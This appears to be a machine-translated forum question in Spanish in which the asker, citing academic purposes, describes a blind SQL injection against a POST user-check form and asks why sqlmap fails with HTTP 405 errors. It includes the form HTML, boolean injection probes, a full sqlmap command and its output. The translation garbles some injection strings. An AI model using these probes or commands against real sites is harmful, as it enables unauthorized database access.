Para fines académicos, necesito explotar una inyección ciega de sql en un formulario paramater que se envía utilizando el método POST. El formulario es muy simple, solo tiene un cuadro de texto de entrada donde se introduce el nombre de un usuario y un botón de envío, la salida producida solo informa sobre la existencia o no del usuario introducido. El código html es:
<html>
<head>
<title>User info</title>
</head>...
<p> Introduce an user to check if it's in the database </p>
<form method="post">
User <input type="text" value="" name="user">
<input type="submit" value="Check!">
</form>
<hr>
</center>
</html>
Sé que 'guest' es un nombre de usuario válido (devuelve true) y he comprobado manualmente que es vulnerable a la inyección de sql sql introduciendo guest 'y' 1 '=' 1 (que devuelve true), y guest 'y' 1 '=' 0 , (que devuelve false). Una vez que estoy seguro de que es vulnerable, he intentado usar sqlmap para explotar la vulnerabilidad con el siguiente comando:
# sqlmap -u "http://foo.com/checkuserform" --method "POST" --data "user=guest" --dbms "mysql" -p "user"
Pero parece no poder explotar la vulnerabilidad:
...
**[00:23:01] [WARNING] the web server responded with an HTTP error code (405) which could interfere with the results of the tests**
[00:23:01] [INFO] testing if the target URL is stable
[00:23:02] [INFO] target URL is stable
[00:23:02] [WARNING] heuristic (basic) test shows that POST parameter 'user' might not be injectable
...
**[00:23:18] [WARNING] POST parameter 'user' is not injectable**
[00:23:18] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')
[00:23:18] [WARNING] HTTP error codes detected during run:
405 (Method Not Allowed) - 175 times
Una parte de no poder explotar la vulnerabilidad lo que me sorprende es el error HTTP 405, ya que he forzado el uso de POST en el comando sqlmap (y no puedo reproducir este error si lo reviso). manualmente con un navegador). También he intentado aumentar los valores de los parámetros de nivel y riesgo sin éxito. ¿Tienes alguna idea de por qué está sucediendo?